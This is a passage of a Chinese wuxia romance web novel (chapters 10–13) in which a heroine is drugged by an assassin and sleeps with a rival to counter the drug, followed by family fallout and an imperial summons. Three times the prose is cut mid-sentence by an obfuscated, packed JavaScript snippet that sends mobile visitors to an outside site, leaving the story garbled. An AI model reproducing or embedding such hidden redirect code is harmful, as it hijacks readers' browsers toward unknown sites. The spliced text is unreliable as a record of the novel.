盛清歌怒吼出声,片刻后,突然凄凉地笑了,“我生如蝼蚁般卑贱,一条烂命,原本就不值当。可我竟天真地以为,即便是一团烂泥,也会有人将我捧在手心里,视若珍宝、万般呵护。我把我的未来、我的性命都系于他一身,可转头那人竟为了荣华富贵将我拱手送人,让我成了那群丑恶的权贵们供享乐的玩物!我任他们呼来喝去、百般欺辱,到头来我只想活着!我想活着!我有什么错!”
“你说的那人,可是蔽月公主的驸马爷?”
“对,就是他!顾闻朗!”盛清歌咬牙切齿地念出那个人的名字,满眼都是恨意,又有几分幸灾乐祸般嘲笑道:“他为了迎娶公主作践了我,到头来自己也被公主作践!都是报应!”
沈岁宁沉默了。
这些年她为了任务,经常乔装成男子出入各种烟花场所搜集情报,接触的人多了,自然也就懂得对于深陷风月当中的女子而言,一段侥幸遇见的情缘对她们而言有多么珍贵。
沈岁宁见到了太多那样身不由己的女子,在漫无天日的寒冷长夜中渴望在爱与被爱中寻求哪怕一丝丝的暖意,而那份他人施舍的暖意,或许就是支撑着她走完这漫长而悲凉的一生的唯一希冀。
可这份希冀于她们中的大多数人而言,终归只是镜花水月、黄粱一梦罢了。
沈岁宁轻轻叹了一口气,半晌后,她终于又开口:“那你知不知道想杀你的人是谁?公主?还是驸马?”
“太多了,”盛清歌低笑着重复,“我知道的太多了,他们都想杀我。”
沈岁宁正想继续追问,突然几支暗箭从高处射向盛清歌,直击她要害处。
沈岁宁眼疾手快,一把将盛清歌推走,转而看向高处。
松针茂密成林,又有积雪压在上面,根本看不清人藏在何处。
沈岁宁暗骂了一声,把地上的盛清歌扛起来放在马上,自己也翻身上马往回赶去。
“他们是来杀我的。”
“我又不瞎,看得见,”沈岁宁没好气地回应,“你给我撑住了,要是你在回府衙之前死了,我把你剁成肉酱喂鱼!”
盛清歌:“……”
树上的人见盛清歌被救走了,一路追赶,松树上的雪哗啦啦落了一地。
对方在暗处,又是奔着取盛清歌性命而来,沈岁宁没有十足的把握能在与对方交手的同时还能保证盛清歌活命。
便是这时,又有两匹马迎面疾驰而来。
沈岁宁看清人脸后,咬了咬牙,心下虽有不甘,但还是把盛清歌拎起来扔了过去,自己则掉头去追树上的那人。
“……”本来就负了伤的盛清歌只觉得天旋地转,人也几乎昏厥过去。
江玉楚反应极快,立刻一跃而起把人接住。
“公子,是盛清歌!”江玉楚探了探盛清歌鼻息,“她还活着。”
贺寒声稍稍放下心来,“你把她带回去交给陈士霖。”说完,他便夹紧马肚子,头也不回地向松林深处追去。
没了盛清歌这个累赘,沈岁宁骑马的速度都快了许多,很快便逼得树上那人露出踪迹。
沈岁宁松开缰绳,右手从袖中取出一条长长的鞭子,跟着踩马背借力向前跃到半空中,挥出的鞭子准确无误地缠住了那人的脚腕。
沈岁宁稳稳落在还在马背上,鞭子瞬间收紧,那人便被马向前冲的力狠狠拽了下来,在沈岁宁身后的雪地里滚了几个圈,嗷嗷直叫。
但很快,那人从怀中掏出利器割断了鞭子,趁机向沈岁宁后背袭去,而紧随其后的贺寒声立刻纵身一个飞踢,把人踢出了几丈远,重重撞在了树干上。
沈岁宁记着那天在千春坊被围堵的事,没给贺寒声好脸色,“多管闲事!”
贺寒声莫名其妙的,但也不恼,只紧随其后道:“各尽其责罢了,翠花妹妹何必不高兴?”
听到这个称呼后,沈岁宁更加来气,一个侧踢攻向贺寒声,“闪开!”
贺寒声不甘示弱,两人争斗了几个回合后,树下的那人早已经不见踪影。
沈岁宁顿时要把火气撒到贺寒声身上。
贺寒声不想纠缠,退了几步避开沈岁宁的攻击,翻身上马追了过去。
沈岁宁也立刻跳上马背。
两人骑着马在松林间一前一后奔驰缠斗,一路落着雪。
贺寒声以守为主,看到追上来的沈岁宁的马,不禁气笑,“你骑着我的汗血宝马追着我我打架,输了又要不服气。”
“那我还给你!”沈岁
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583816|171634||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宁顿时纵身飞踢,逼贺寒声也从马背上一跃而起。
她夺过贺寒声的马,而贺寒声也落在了她骑着的汗血宝马背上。
有了汗血宝马之后,贺寒声速度加快,很快便把沈岁宁远远甩在了后面。
沈岁宁追了大半日,早已不见贺寒声踪迹,她气得虚空砸了一拳,掉转马头去找刚刚逃脱的那人的踪迹。
既然是为了取命而来,沈岁宁料想对方不会善罢甘休,一定会往刚刚江玉楚离开的方向追。
若盛清歌嘴里问不出来,抓到那个杀手后,沈岁宁便也能知道究竟谁是要杀盛清歌的幕后黑手了。
沈岁宁一路奔袭,路遇一座荒废的破庙。
庙里点了篝火,有炊烟飘出,像是刚进了人。
沈岁宁跳下马,将袖刀握于掌中,走了进去,果然看到刚刚的杀手气喘吁吁地靠坐在观音像前,一脸幽怨地看着她。
“四个腿追我两条腿的,好不道义。”祝无颜气还没喘匀,有气无力。
沈岁宁几步上前,一拳砸向祝无颜的脸。
“哎呦!”祝无颜惨叫一声,捂着脸趴在地上,“观音面前杀生,可是要遭报应的!”
“我会不会遭报应不知道,但你的报应算是来叻,”沈岁宁上前又是一拳,脚踩在祝无颜肩上,俯身嘲弄,“你武功也不行嘛,借着自己轻功还不错,暗地里装神弄鬼了这么许久,现在又想耍什么花招?嗯?”
祝无颜仰起头轻笑,似是愉悦,“能被沈堂主的玉足践踏,祝某死也值了。”
“少在这恶心我!”沈岁宁一脚踩在祝无颜的嘴上,“说吧,你哪门哪派姓甚名谁?是谁让你来杀盛清歌的?”
祝无颜被堵住了嘴,说不出话,只能发出嗯嗯啊啊的奇怪声音。
沈岁宁厌恶地松开他,脚尖使劲在地上蹭了蹭。
祝无颜仰躺在地上吐出嘴里的异物,似是爽了,“祝某无门无派,浪荡江湖闲散人罢了。至于是谁要我来杀盛清歌……沈堂主,你可不能仗着自己出身江湖名门,就带头不守规矩吧?”
“我对你背后的金主不感兴趣,只是不想回头莫名惹了一身骚,行走在江湖,小心谨慎些总没有错。”
“那沈堂主更加不必问了,这事本就跟漱玉山庄没有关系,”祝无颜半撑起身子,看向沈岁宁,“只是盛清歌招惹了不能招惹的人,又不小心知道了太多不该知道的,有人着急要取她性命,这才慌不择路地找到了向来谨慎的漱玉山庄。若非如此,盛清歌与漱玉山庄八竿子打不到一起。”
“不能招惹的人是指蔽月公主,还是她的驸马?又或者是京中其他权贵?”
祝无颜“喂”了三声,抗议道:“这就不讲道理了吧?与你们无关的事情,何苦非得弄个明白?”
这话与宋三娘所言大致无异,但沈岁宁总觉得事情不会这么简单,毕竟三箱黄金直接抬进了山庄大门,若这人与漱玉山庄素无往来,怎会如此轻车熟路?
沉思片刻,沈岁宁再次开口:“漱玉山庄并不想干涉你们的交易,只是盛清歌现在还杀不得。等她把我的人从牢里换出来,漱玉山庄绝对不会再参与此事。”
“沈堂主,您在跟我闹呢?盛清歌进了官府,我这大半个月不就白忙活了?”
祝无颜从地上爬起来,抖了抖身上灰尘,“好了,我知道沈堂主是想拖延时间让盛清歌被顺利送到苏州。如此想来,我与沈堂主也算是心有灵犀了。”
沈岁宁瞬间警觉,“你什么意思?”
“算一算时辰,沈堂主体内的药性该发作了,”祝无颜看向一旁的篝火,“祝某知道,一般的药对沈堂主作用不大,这一味‘红颜劫’是祝某送给沈堂主的见面礼,保证让沈堂主□□。”
沈岁宁浑身一僵,顿时感觉到身体四处灼热得似有无数只蚂蚁在啃噬,心脏也瞬间加速跳了起来。
外面传来了马的声音,祝无颜听了,露出满意的笑容,拍了拍沈岁宁的肩膀,“沈堂主,不谢啦!”
说完,祝无颜便破顶而出。
11. 第11章
第11章
沈岁宁不堪药性,跪倒在地,手撑着身子大口大口的呼吸,额头上的汗一颗一颗落在地上。
本想去追祝无颜的贺寒声见状,赶紧过来扶住她。
“你被下药了?”贺寒声见她面色潮红,眉心紧蹙,正要扛起人离开此处,忽然察觉自己身体也出现了异样。
“看来,我又说迟了,”沈岁宁闭了闭眼,颤抖着指向仍旧跳动的篝火,“我应该提醒你,先把这火给灭了。”
她大多数的力气都花在了克制药性上,并没有再刻意伪装自己的声线,药性的难耐让她声音都变了个调,听上去便格外娇媚了些。
贺寒声没说话。
他松开沈岁宁盘腿坐到一旁调理内息,试图用内力克制药性,可这药性子猛烈,贺寒声刚一运气,瞬间感觉丹田发热,整个身体都滚烫了起来,连同呼吸都带着灼热的温度,一股强烈而陌生的欲念逐渐侵蚀了他的大脑。
观音像前火光跳动,影影绰绰间,两人的喘息声越来越沉重。
“你能不能先把这火给灭了?”沈岁宁忍不住出声,药是顺着燃烧的烟雾进入体内的,若是不趁早灭了,只会越吸越多。
贺寒声还在调息,听了这话后下意识反问:“你怎么不灭?”
“……”两人双双陷入沉默,又都默契抬手用内力推开了大门,企图让外头的风灌进来灭火。
冷风呼啸而入,勉强给身子降了降温度,但忽强忽弱的阵风并不足以灭火,反而让它燃烧得更加旺盛了起来。
无奈之下,两人又同时把门合上了。
“喂,”沈岁宁尽力维持着理智,尽管身体早已要被药性吞噬,她还是抱着一丝侥幸沙哑出声:“你……有没有什么办法?”
“……”贺寒声深吸一口气,“你都解不了,我能有什么办法?”
沈岁宁绝望地闭上双眼,没想到自己的一世英名,竟会在这种东西上面毁于一旦。
“倒也……不是完全没有办法……”沈岁宁缓缓出声,似乎是有些难以启齿,她平日里虽然喜欢做些看起来荒唐的风流事,但到底都是为了任务,加上她性子本也有一点点贪玩,从未真正有过什么逾越之举。
眼下和另一个男子在这种情况下独处一室,沈岁宁算是栽到家了,她一路追着祝无颜到此,深知这方圆百里内都无一处人家,唯一解了此药的办法,只有眼前这人。
贺寒声也明白了这一点,一时哑然。
两人各自撑着自己被欲念支配的身子,靠着仅剩的一丝清醒维持理智。
外头的风呼啦啦地吹着,天色渐暗。
沈岁宁“喂”了声,再度开口:“虽然你我只有过几面之缘,我猜你应该勉强算是个君子,不想趁机占便宜。但眼下这种情况,硬撑着也不是办法……”
“……”贺寒声闭了闭眼,似是妥协,“你不介意就行。”
“我有什么好介意的?你我都是一条船上的蚂蚱了!当然是解了药性要紧!”
沈岁宁想得开,眼下只有这一条路可走,要不然他俩今天都得玩完。
“那……得罪了。”贺寒声站起身,将披在身上的狐裘大氅铺在地上,上前将沈岁宁拦腰抱起,放在狐裘上。
“我只有一个要求。”沈岁宁抱住贺寒声的脖子,脸上的面具映着火光,而面具之下,是她毫无遮掩的真实面容。
即便是被逼无奈,沈岁宁也不希望自己的真容在这种情况下毫无保留地暴露在对方的眼中。
滚烫的身体微微颤抖着,沈岁宁咬牙出声:“……你能不能闭上眼,把眼睛蒙住?”
“好。”贺寒声闭上眼睛。
沈岁宁深吸一口气,伸手解下自己的腰带,在贺寒声的眼睛上绑了几个圈系紧,而后摘下面具,扔在了角落里。
被剥夺了视野之后,其他的感官顷刻之间被放大,周身的一切动静都在一点一点瓦解着贺寒声最后的理性。
黑暗当中,沈岁宁坐进贺寒声怀里,姑娘的双臂轻轻环上了他的脖子,柔软的嘴唇触碰到他的,急躁又略微笨拙地探索着。
顷刻之间,大厦崩塌,连同地基都瞬间土崩瓦解。
像是在一对干草里点了一把烈火,火势瞬间猛烈起来,转眼便将周围种种都卷入其中交织缠绵,又都吞噬得干干净净。
屋顶的风呼啸着吹过,淹没了屋檐下沉重急促的喘息声,落满灰尘与蛛网的观音像庄严矗立在一旁,温柔又平静地注视着火光下这旖旎荒诞的一幕。
青涩,莽撞。
缠绕,焦灼。
缱绻,深入。
一波山未平,一波峰又起,九转洪涛,荡气回肠。
许久之后,才终于得见平复后的碧海波涛和高山平原。
沈岁宁躺在被汗水浸透的狐裘上,缓了半晌才撑起绵软酸涩的身子,将肩上半褪的衣裳拉上。
她看向早已穿好衣裳、靠坐在角落里的贺寒声,他双眼仍旧被蒙着,映着橘色的火光,安静温和得仿若神明,脖子上的抓痕和红色印记便是被亵渎的证明。
沈岁宁捡起角落里的面具重新戴好,“此事你情我愿,我不会放在心上,你也不必介怀。”
贺寒声顿了顿,沙哑出声:“好。”
“你怎么好像很委屈一样?”沈岁宁有些不高兴。
虽然是没有办法的办法,但认清现实之后她努力地投入并享受了整个过程,毕竟贺寒声生了副好皮相,身材也尚可,沈岁宁并不觉得自己亏了,只是她以为对方也会在这个过程中感受到哪怕一丝丝的愉悦,至少这样,彼此心里也能舒服一些。
可贺寒声这个态度,瞬间就让沈岁宁觉得,好像只有自己在享受,对方完全只是因情势所迫不得已而为之。
“你别误会,我没有觉得委屈,”贺寒声取下蒙在眼睛上的带子攥在掌心,怔愣了许久后,才问:“你……能不能告诉我你的名字?”
这话问得有些出乎沈岁宁的意料,瞬间来了兴致,“怎么?你不会因为这么会儿互利共惠的小事情就对我念念不忘了吧?”
“……不想说算了。”贺寒声心里一梗,气性上来便也懒得多嘴了。
沈岁宁笑起来,突然觉得这人不与她针锋相对时倒也有那么几分可爱。
只是,盛清歌的前车之鉴犹在眼前,沈岁宁转过脸,看向高高在上俯视众生的观音像,淡淡开口:“奉劝一句,走出这座庙,该忘的事情都忘了,对你、对我都好。”
贺寒声不再说话,原本旖旎过的气氛莫名间多了几分感伤。
镜花水月、黄粱一梦,本也不值得留恋,可大约是方才的温情历历在目,彼此交换过的余温尚且残留,一向洒脱的沈岁宁心中,竟无端生出了几分恻隐。
“……算了,”意识到不对的沈岁宁拖着并不利索的身体踉跄着站起身,半只脚踏出庙门,“若是有缘,下次再见时,我会告诉你我的名字。”
……
半年后。
漱玉山庄的荷花池开了大半,红花绿叶交相辉映,蜻蜓戏池鱼、蛙鸣声阵阵,一派生机。
沈岁宁坐在池塘边的大树上,脸上盖了片荷叶,悬空的脚丫轻轻晃着,似是睡着了,连树下传来的脚步声都未察觉。
不一会儿,高悬的日头照了过来,沈岁宁被一阵热意闷醒,闭着眼烦躁地扯下脸上的荷叶扇风,“好热啊,夏天到底什么时候才能过去啊?”
树下的人忍俊不禁,笑出声来。
沈岁宁慌忙坐起来,等看清了来人后,心有余悸地嘟囔:“阿爹又故意吓我。”
沈彦笑出声,飞身上树坐到沈岁宁旁边,看到女儿脸颊热得通红,忍不住笑:“娇气丫头。”
“这才初夏,你这样怕热,往后可怎么了得?”嘴上说着嫌弃的话,沈彦抢过沈岁宁手里的荷叶替她扇起了风。
沈岁宁仰起头认真地思考,“那我就让苗姐姐替我做一把巨大的芭蕉扇,让阿爹每日扛着替我扇风。”
“你倒是敢想。”
“那当然,阿爹给阿娘这样扇过,我记得清楚,”沈岁宁伸手戳了戳沈彦的肩膀,“若是偏心,你就是这世界上最让人讨厌
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583817|171634||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的糟老头子。”
沈彦气笑了,手里的动作倒是不停。
没一会儿,漱玉夫人过来了,看到父女二人整整齐齐挂在树上,忍不住出声数落:“就数你最惯着她,纵得阿宁越来越没骨头。”
见到妻子来了,沈彦立刻跳下了树走到她身旁,笑,“夫人不也一样?”说着,他把荷叶虚空举在漱玉夫人头顶,“太晒了,遮遮。”
沈岁宁:“……”
沈彦与漱玉夫人结发为夫妻多年,感情一直十分稳定,即便是沈彦入赘后被要求改了沈姓,背弃了宗族庙宇,他也全然不在意,与漱玉朝夕相伴,依旧恩爱如初。
沈岁宁看着父母浓情蜜意,忍不住抖了抖鸡皮疙瘩,跳下树来准备走。
“站住。”漱玉夫人叫住了沈岁宁,语气颇有几分不悦。
沈家是严母慈父的配置,沈岁宁敢和父亲沈彦玩笑闹腾,却不敢忤逆漱玉夫人半句,通常漱玉夫人一开口,沈岁宁便自动被血脉压制了。
原地站定后,沈岁宁无奈道:“你俩老夫老妻的,非把我留在这看你们恩爱干嘛?”
“你要觉得爹娘恩爱碍了你的眼,就该早些招个夫郎回来,也省得我与你爹日日替你操心。”
“大哥不也还没媳妇吗?”一提起这事沈岁宁就头疼,只能搬出大哥这个挡箭牌,“你们若觉得日子过得少了些情趣,就赶紧把大哥叫回来,让他早点给你们添几个孙儿,好让你们没空闲着。”
“你这是觉得为娘啰嗦了?”漱玉夫人脸色沉下来,“你大哥那边我自然会关心,感情的事,他比你稳重得多,用不着我天天念叨。倒是你,嘴上说着喜欢这个喜欢那个的,又不见你有半分主动,合着你的喜欢光挂在嘴上了。你呆在我们身边的日子比你大哥还长,可爹娘的优点,你是半点都没学到。”
漱玉夫人的话说得重了些,沈岁宁顿时不高兴了。
“宁宁,你阿娘也是担心你,”眼看着气氛不对,沈彦赶紧出来打圆场,“你天生五感迟钝,又没有痛觉,若是没个人在你身边帮衬,爹娘总要日日悬心,担心你受人暗算而不自知。”
“这不是还有凤羽吗?”
“凤羽是一堂之主,自己的事情都要忙不过来了,哪能日日都形影不离地跟着你?退一万步讲,就算凤羽放下堂里的事情不做,她也会有自己的人生,你自己形单影只的无所畏惧,难道还要凤羽也一辈子都只围着你一个人转吗?”
漱玉夫人抢在沈彦前头一阵输出,彻底把沈岁宁给惹恼了,她扭头就走,任凭沈彦原地叫唤。
看到女儿被气走,妻子脸色也不好看,沈彦不由得叹气,“你说你,明明是好意关心她,非得说些惹她不高兴的话,把自个儿也气着了。”
漱玉夫人本就气不打一处来,一听这话,瞬间就冲着沈彦撒起邪火:“都是你平日里给惯坏的!现在她连我的话都不听,还敢顶嘴!”
“是,夫人莫气,都是我的错,回头我一定好生训斥她。”
漱玉夫人瞪他一眼,“你训斥她?你不被她训得跟个孙子一样,我就谢天谢地了!”
沈彦忍不住笑出声。
“你笑什么?”
“你呀,就是嘴硬心软,”沈彦顺手从池塘里摘了一片新的荷叶,一手给夫人遮阳,一手给她扇风,“年前宁宁从苏州回来,你知道她受了委屈,嘴上大骂她办事不谨慎,转头就下令捕杀了暗算宁宁的那畜生,还把尸身扔去喂了狼群。”
漱玉夫人冷哼一声,“祝无颜那小子使些下三滥的手段,坏了江湖规矩,喂狼还便宜他了!”
“但宁宁不也说了,她想得开,也没觉得有多委屈么?”
“她嘴硬逞能,你也就信了?”漱玉夫人没好气道,“也就是她自己想得开。要不是她回来之后跟个没事人一眼,几个月前那小崽子登门求见宁宁的时候,我早就把他给宰了!”
“阿玉。”沈彦停下脚步,似乎是有些难以启齿。
片刻后,他终于抬眼看向远处开得正灿烂的荷花,目光晦涩,“那孩子……毕竟是故人之子。”
12. 第12章
第12章
六个月前,盛清歌被江玉楚带回苏州之后,没过一天就留下了一封绝笔血书,在牢中服毒自尽了。
血书字字句句,无不在悲歌和控诉顾闻朗的背信弃义,她骂他贪图富贵,一边说尚公主只是他向上爬的手段,一边又在东窗事发后把所有罪责推给了盛清歌,让公主对盛清歌产生了极大的敌意和杀心,致使盛清歌被迫南下。
除此之外,遗书里并没有提到关于公主的死,而顾闻朗的尸体,也在公主府后院的莲花池中被打捞出,经过验尸,确认是溺亡。
原来,盛清歌南下后,公主不屑于再与风尘女子计较,转而将矛头对准了罪魁祸首顾闻朗,顾闻朗不堪受辱,终于下手毒杀了公主和他腹中的胎儿。事后,顾闻朗因为害怕被皇上迁怒,也怕盛清歌因恨而对自己痛下杀手,在公主死后畏罪自戕,直至最近才被打捞出。
找到了顾闻朗的尸体之后,皇帝便命大理寺和刑部给顾闻朗定了罪,不等贺寒声回到华都,便将顾家满门抄斩,以告慰蔽月公主在天之灵。
这是皇帝想要的结果,但对于贺寒声来说,真相绝对不是这么简单。
公主是被驸马毒杀的,那,要杀盛清歌的人是谁?她为了能活命,委身周旋于权贵之间,在多方势力之下奋力逃亡,甚至不惜对与她交好的宋三娘痛下杀手,如此强烈的求生欲望,怎么可能在入狱之后不等审判就服毒自杀了?
案子疑云重重,贺寒声想继续追查,可年关将至,家书一封一封地送到他桌前,就连皇上也亲自下了诏书,让他速回京城,陪他母亲过年。
父亲的丧期还不满一年,母亲在家孤身一人,贺寒声自然得提前回京,准备父亲的新年祭礼。
回京前夕,贺寒声坐在窗前,手心里握着一条属于女子的月白色腰带,上面绣有碧色的海棠花,是那日沈岁宁留下来的,而他自己的那天系在腰上的那条被她错拿。
贺寒声指尖轻抚着要带上的花纹,怔怔出神,直到江玉楚敲了好几次门才拉回思绪,迅速将腰带缠在掌心,藏于广袖中。
“公子,属下已安排妥当,不日便能启程。”江玉楚假装刚才没有看到贺寒声的慌乱。
贺寒声沉默片刻,“好。”
江玉楚抬头看了贺寒声一眼,“此次回京会走陆路。恕属下多嘴,经过扬州时,不知公子……是否需要去一趟漱玉山庄,见一见沈堂主?”
“不必,”贺寒声脱口拒绝,随即意识到什么,看向江玉楚的目光里多了几分审视,“你最近的心思倒是不少放在正事上,都学会替我安排了。”
“属下不敢,”江玉楚低下头,“属下只是觉得,上次抓到盛清歌一事还未当面谢过沈堂主,若公子觉得没必要,便当属下从未提过此事。”
三天后,贺寒声带着谢礼站在漱玉山庄大门前的石阶下。
江玉楚上前去敲门,过了许久,里面的人才终于再次拉开门,不耐烦地喝道:“都跟你说了,我们漱玉山庄各个堂的堂主都姓沈,不清楚你要找的是哪一位!”
“我已经说了,是碧峰堂的沈堂主。”
“碧峰堂也不止一位沈堂主!”星黎提高声音,“搞不清楚就滚蛋!别耽误我时间!”
眼见着星黎就要把门合上,江玉楚眼疾手快地抵住,硬挤出一条缝,“就是前不久去了苏州千春坊的那个沈堂主!烦请阁下通报一声,我们有要事找她!”
星黎冷嗤一声,“你合计着套我话是吧?我们庄内所有的沈堂主一个月内都没有出过门!滚吧!”
两人在门前推搡着,经过的沈彦恰巧看见了这一幕。
一行人站在山上的亭子里,门口的境况尽收眼底,沈彦蹙眉,“这是何人到访?竟让星黎如此不顾礼数。”
荀踪望了眼,笑,“星黎敢如此胡闹,大约是有少主授意。”
“又是宁宁,”沈彦眉心展开,眼里带了笑意,“这些孩子们都让宁宁给带坏了,一顶一的顽皮。”
沈彦继续下起了台阶,转了个小弯的功夫,江玉楚已经被星黎推出了门外。
既是沈岁宁授意,即便不知晓原因,沈彦本也不必理会,但他却在转身的那一刹那,余光瞥见了站在山脚下的贺寒声。
沈彦顿时便怔在了原地。
……
沈彦来到沈岁宁的住处玉泉别苑。
漱玉夫人正在训话,沈彦还未踏进门便听到了。
“你让星黎赶走的那两人究竟是什么来路?又是你惹来的桃花债?……不是?不是你怎么不大大方方出门去见人家?沈岁宁你少拿糊弄你爹的那一套糊弄我,你娘还不傻!”
“不管你?你以为我闲着没事乐意管你是吗?你倒是让我省心些,好好的出门一趟惹出多少乱子来?这次亏得有凤羽在,要是你进了大牢,我下山捞人都嫌丢脸!”
“是,你是把凤羽救出来了,但这本来就是可以避免的!再说,就因为这一次失误,你付出了多大的代价去弥补?我时常叫你谨慎行事,你把我的话当耳旁风!你也是运气好,阴沟里翻船了还有凤羽给你兜底!”
“……”
眼见着漱玉夫人的训斥声越来越大,沈彦赶紧要去解围,一进门,就看到沈岁宁不情不愿地跪在地上,其他人背对着立在一旁,大气都不敢出。
沈彦看看沈岁宁,又看了眼气得不轻的漱玉夫人,“怎么了这是?宁宁又惹你生气啦?”
“你问她做了什么好事!”
沈彦看向沈岁宁,“宁宁,发生了什么事?说给爹听听。”
“被人暗算了呗。”沈岁宁小声说,似乎也是觉得有些丢脸。
听到女儿被人暗算,沈彦立刻紧张起来,“有没有受伤?要不要紧?济世堂给你看过没有?他们怎么说?”
“没受伤,”沈岁宁干咳了两声,口齿含糊道:“济世堂看过了,他们给我开了避子汤。”
“……什么?!”
这话如同平地一声惊雷,瞬间把沈彦炸得说不出话来了。
他看向漱玉夫人,也
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583818|171634||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就明白了她今日为何会发这么大的火,便是沈彦知道了此事,一时间也怒火中烧。
“是哪个畜生干的!爹去宰了他!”
“我还在这坐着,你瞎掺和什么劲?”漱玉夫人叫住沈彦,平息了片刻,“我已命人发布了江湖追杀令,这事你不用管。”
“江湖追……”沈彦惊得顿了顿,“倒也不用这么大张旗鼓,毕竟事关宁宁……”
“暗算了我的女儿,我没让人把他吊起来挂在城门楼子上鞭尸已经算是格外开恩了!”
“……”沈彦和沈岁宁默默看向漱玉夫人。
“你少在那偷瞄,就算是那王八蛋暗算你在先,也不是你行事疏忽不谨慎的理由!”
沈岁宁立刻收回视线,支吾着:“其实您生气的原因无非是觉得我受了委屈。但您也不想想,您亲手带出来的女儿,是会让自己受委屈的人吗?”
“……”漱玉夫人一口气差点没顺过来,“你再说一遍?”
“咳,那个……我刚听荀踪说,岁安的家书送到了,娘子要不先去看看?”沈彦适时递上台阶。
漱玉夫人板着脸不肯下,沈岁宁倒是机灵,顺着杆儿就往下爬,“大哥来信了,我这就去取来!”
“……”漱玉夫人气得脑袋发晕,沈彦赶紧扶着她坐下来,又给她倒了杯茶水。
漱玉夫人接过茶,瞬间没好脸色给沈彦,“你倒是会做人。宁宁少不经事的不知分寸,你也在旁边和稀泥瞎帮衬,这是能打马虎眼随便糊弄的事儿吗?”
沈彦已经习惯了,向来夫人在宁宁那里受了气,就一定要找他撒完。
“我当然知道滋事体大,可宁宁那个性子,你越是跟她对着干她越转不过弯来。既然她嘴硬觉得无所谓,你何苦非要点破她那点小心思呢?”
“就你明白。”
“我是习惯了,向来哄完小的哄大的,”沈彦握着漱玉夫人的手,笑,“谁让我就这命呢?”
“一把年纪了,也不害臊。”漱玉夫人颇有几分嫌弃地抽回手,气倒是消了不少,随之而来的,是难以掩盖的担忧。
“星黎赶走的那两人,你看到了?”
“嗯,看到了。”沈彦知道漱玉夫人想说什么,沉默许久后,低叹:“他与他父亲,长得实在是太相像了。哪怕只是远远的一个轮廓,我也能一眼认出那是靖川兄的儿子。”
漱玉夫人也感到惋惜:“贺家兄长英年早逝,今年是他去那头后过的第一个新年,你既不能去京城祭拜,便在家里设灵堂聊表心意吧。”
“多谢夫人理解。”
“军中情谊,旁的人或许难以理解,但我确实明白的,”漱玉夫人握住沈彦的手,“否则你也不会在隐世避祸多年后,听得靖川兄长南下抗倭,还要冒着被朝廷发现的风险前去支援。”
沈彦反握着夫人的手,紧紧包裹在掌心。
“只是,那孩子承袭了爵位后,”沈彦闭上双眼,似是痛苦,“我与靖川兄的约定,到底是永远都无法再兑现了。”
13. 第13章
第13章
两年后。
又逢夏季,向来最怕热的沈岁宁大老远地从玉泉别苑跑到千机阁,摇扇子的手都快断了,看到随处可见的信鸽之后,才终于歇了口气。
还未踏进大门,她便喘着气嚷嚷:“星黎啊,我都俩月没见我大哥来信了,你是不是又故意把信藏在鸟笼子底下啦?”
沈岁宁推开千机阁藏信楼的门。
藏信楼内空无一人,原本当值的星黎不知去处,只有荀踪一人站在信格前。
“荀叔,怎么是您在这?星黎呢?”沈岁宁走进来,看到荀踪脸色苍白,手里拿着已经打开的信封。
“怎么了?您不是来给阿爹取信的吗?怎的脸色这样差?”沈岁宁顿时有些紧张,“难道……难道是大哥怎么了吗?”
“少主放心,公子没怎么,只是这信……”荀踪平复了心情,将信递给沈岁宁,“是朝廷传来的,像是……皇上的御诏。”
……
沈岁宁拿着御诏赶到碧水云居时,沈彦和漱玉夫人正面色凝重地并排坐着,像是已经提前知道了。
漱玉夫人的脸色很难看,沈彦在旁边愁眉苦脸,心焦得不知该如何是好。
沈岁宁难得见沈彦这样手足无措的样子,幸灾乐祸,“真是风水轮流转,今儿竟轮到阿爹把娘惹生气啦?”
她把信放到两人中间的桌子上,漱玉夫人没好气的,“少耍贫嘴。你以为你爹跟你一样?”
“那这是怎么了?脸色一个赛一个的难看,我刚遇到荀叔,还以为是大哥出什么事了呢。”
沈彦不说话,漱玉夫人看他一眼,道:“皇帝传来了密旨,让你爹进京一趟。”
“那不是好事儿吗?正好阿爹好多年没回去,就当故地重游了,”沈岁宁眉飞色舞,看起来有些兴奋,“我还没去过华都呢,可以跟阿爹一起去。”
“宁宁,不许胡闹,”沈彦终于开口,“皇上密旨进京,还不知是好事还是坏事。你就呆在家里,这段时间哪里都不要去,万一爹回不来……”
漱玉夫人赶紧打断,“不许说不吉利的话。”
沈彦张了张嘴,几度欲言又止,“终归是我连累了你们。”
“一家人,说什么连累不连累的话?”漱玉夫人握住沈彦的手,“放宽心,天塌下来,还有我给你顶着。”
